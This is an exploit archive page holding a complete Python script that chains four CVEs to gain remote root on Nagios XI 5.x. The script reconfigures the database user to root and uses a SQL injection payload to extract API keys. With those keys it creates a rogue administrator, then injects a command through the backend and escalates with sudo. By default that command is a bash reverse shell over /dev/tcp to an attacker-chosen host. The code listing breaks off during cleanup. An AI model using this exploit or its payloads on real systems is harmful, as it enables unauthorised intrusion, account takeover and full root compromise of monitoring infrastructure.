what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios XI 5.x Chained Remote Root

Nagios XI 5.x Chained Remote Root
Posted Apr 30, 2018
Authored by Benny Husted, Cale Smith, Jared Arave

Nagios XI versions 5.2.6 up to 5.2.9, 5.3, and 5.4 chained remote root exploit.

tags | exploit, remote, root
advisories | CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
SHA-256 | bb9a9ca26635c2779d5e4662eab43b6b113e781b49058727e94049827cb3f59a

Nagios XI 5.x Chained Remote Root

Change Mirror Download
# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]

More details here:
https://blog.redactedsec.net/exploits/2018/04/26/nagios.html

Steps are as follows:

0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.

def parse_apikeys(resp):
begin_delim = 'START_API:'
end_delim = ':END_API'

start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]

unique_keys = []

for i, index in enumerate(start_indecies):
start_index = index + len(begin_delim)
end_index = end_indecies[i]
key = resp[start_index:end_index]
if not key in unique_keys:
unique_keys.append(key)

return unique_keys

def parse_nsp_str(resp):
begin_delim = 'var nsp_str = "'
end_delim = '";\n'

start_index = resp.find(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_cmd_id(resp, cmdname):

begin_delim = "'"
end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)

end_idx = resp.find(end_delim)

resp = resp[:end_idx]
resp = resp[resp.rfind(begin_delim)+1:]

return resp

def parse_nagiosxi(resp):
resp = str(resp)
begin_delim = 'Set-Cookie: nagiosxi='
end_delim = ';'

# find the last instance of the nagiosxi cookie...
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_version(resp):
resp = str(resp)
begin_delim = 'name="version" value="'
end_delim = '"'

start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]
def change_db_user(usr, pwd, step):

url = '/nagiosql/admin/settings.php'
headers = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

params = urllib.urlencode({
'txtRootPath':'nagiosql',
'txtBasePath':'/var/www/html/nagiosql/',
'selProtocol':'http',
'txtTempdir':'/tmp',
'selLanguage':'en_GB',
'txtEncoding':'utf-8',
'txtDBserver':'localhost',
'txtDBport':3306,
'txtDBname':'nagiosql',
'txtDBuser': usr,
'txtDBpass':pwd,
'txtLogoff':3600,
'txtLines':15,
'selSeldisable':1
})

print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
print "[+] STEP {0}: https://{1}{2}".format(step, RHOST, url)

con = httplib.HTTPConnection(RHOST, 80)
con.set_debuglevel(0)
con.request("POST", url, params, headers=headers)

resp = con.getresponse()
con.close()

return resp

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if not options.rhost:
parser.error("[!] No remote host specified.\n")
parser.print_help()
sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
cmd = options.cmd
else:
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################

url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: https://{0}{1}".format(RHOST, url0)

con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()

r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])

con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)

################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################


r1 = change_db_user('root', 'nagiosxi', '1')

if r1.status == 302:
print "[+] STEP 1: Received a 302 Response. That's good!"
else:
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
exit()


################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################

print ""
url2 = '/nagiosql/admin/helpedit.php'
headers2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
print sqli_param

params2 = urllib.urlencode({
'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
'hidKey1':'common',
'selInfoKey2':'free_variables_name',
'hidKey2':'',
'selInfoVersion':'',
'hidVersion':'',
'taContent':'',
'modus':0,
'':''
})

print "[+] STEP 2: Exploiting SQLi to extract user API keys."
print "[+] STEP 2: https://{0}{1}".format(RHOST, url2)

con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request("POST", url2, params2, headers=headers2)
r2 = con2.getresponse()

if r2.status == 302:
print "[+] STEP 2: Received a 302 Response. That's good!"
else:
print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
exit()

con2.close()

r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)

if len(api_keys) > 0:
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
for key in api_keys:
print "[+] {0}".format(key)
else:
print "[!] No API keys found! Oh no. Exiting..."
exit()


################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################

print ""
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
headers3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))

params3 = urllib.urlencode({
'username':sploit_username,
'password':sploit_password,
'name':'Firsty Lasterson',
'email':'{0}@localhost'.format(sploit_username),
'auth_level':'admin',
'force_pw_change':0
})

print "[+] STEP 3: Using API Keys to add an administrative user..."

found_it = False
for i, key in enumerate(api_keys):
url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
print "[+] STEP 3: https://{0}{1}".format(RHOST, url3_try)

con3 = httplib.HTTPConnection(RHOST, 80)
con3.set_debuglevel(0)
con3.request("POST", url3_try, params3, headers=headers3)
r3 = con3.getresponse()
r3_contents = r3.read()

if r3.status == 200:
print "[+] STEP 3: Received a 200 Response. That's good!"
if "was added successfully" in r3_contents:
print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
print "[+] STEP 3: Moving to Step 4...."
found_it = True
con3.close()
break
else:
"[!] STEP 3: API_KEY access was denied. That's bad."
continue
else:
print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
continue

print "[!] STEP 3: Failed to add a user. Try some more API keys..."
con3.close()

if found_it == False:
print "[!] STEP 3: Step 3 failed.... oh no!"

################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################

print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""

con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()

r4p1_resp = r4p1.read()

login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)

con4p1.close()

print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)

# 4.2 ---------------------------------------------------------------

print "[+] STEP 4.2: Authenticating..."

url4p2 = '/nagiosxi/login.php'
headers4p2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
'nsp':login_nsp,
'page':'auth',
'debug':'',
'pageopt':'login',
'username':sploit_username,
'password':sploit_password,
'loginButton':'',
})

con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()

print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)

# 4.3 ---------------------------------------------------------------

print "[+] STEP 4.3: Getting an authed nsp token..."

url4p3 = '/nagiosxi/index.php'
headers4p3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
params4p3 = ""

con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()

print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)

################################################################
# REQUEST FIVE: Excute command
################################################################

print "[+] STEP 5: Executing command as root!..."
url5 = '/nagiosxi/backend/index.php?'
headers5 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}

privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
privesc_cmd = "$(" + privesc_cmd + ")"

url5 = url5 + urllib.urlencode({
'cmd':'submitcommand',
'command':'1111',
'command_data':privesc_cmd
})

con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request("POST", url5, headers=headers5)
r5 = con5.getresponse()

r5_resp = r5.read()
con5.close()

if r5.status == 200:
print "[+] STEP 5: Received a 200 Response. That's good!"
else:
print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
exit()

print "[+] STEP 5: Successfully ran command. We're done?"


################################################################
# REQUEST SIX: Cleanup
################################################################

print "[+] STEP 6: Cleanup time"

r1 = change_db_user('nagiosql', 'n@gweb', '6')

if r1.status == 302:
print "[+] STEP 6: Received a 302 Response. That's good!"
else:
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close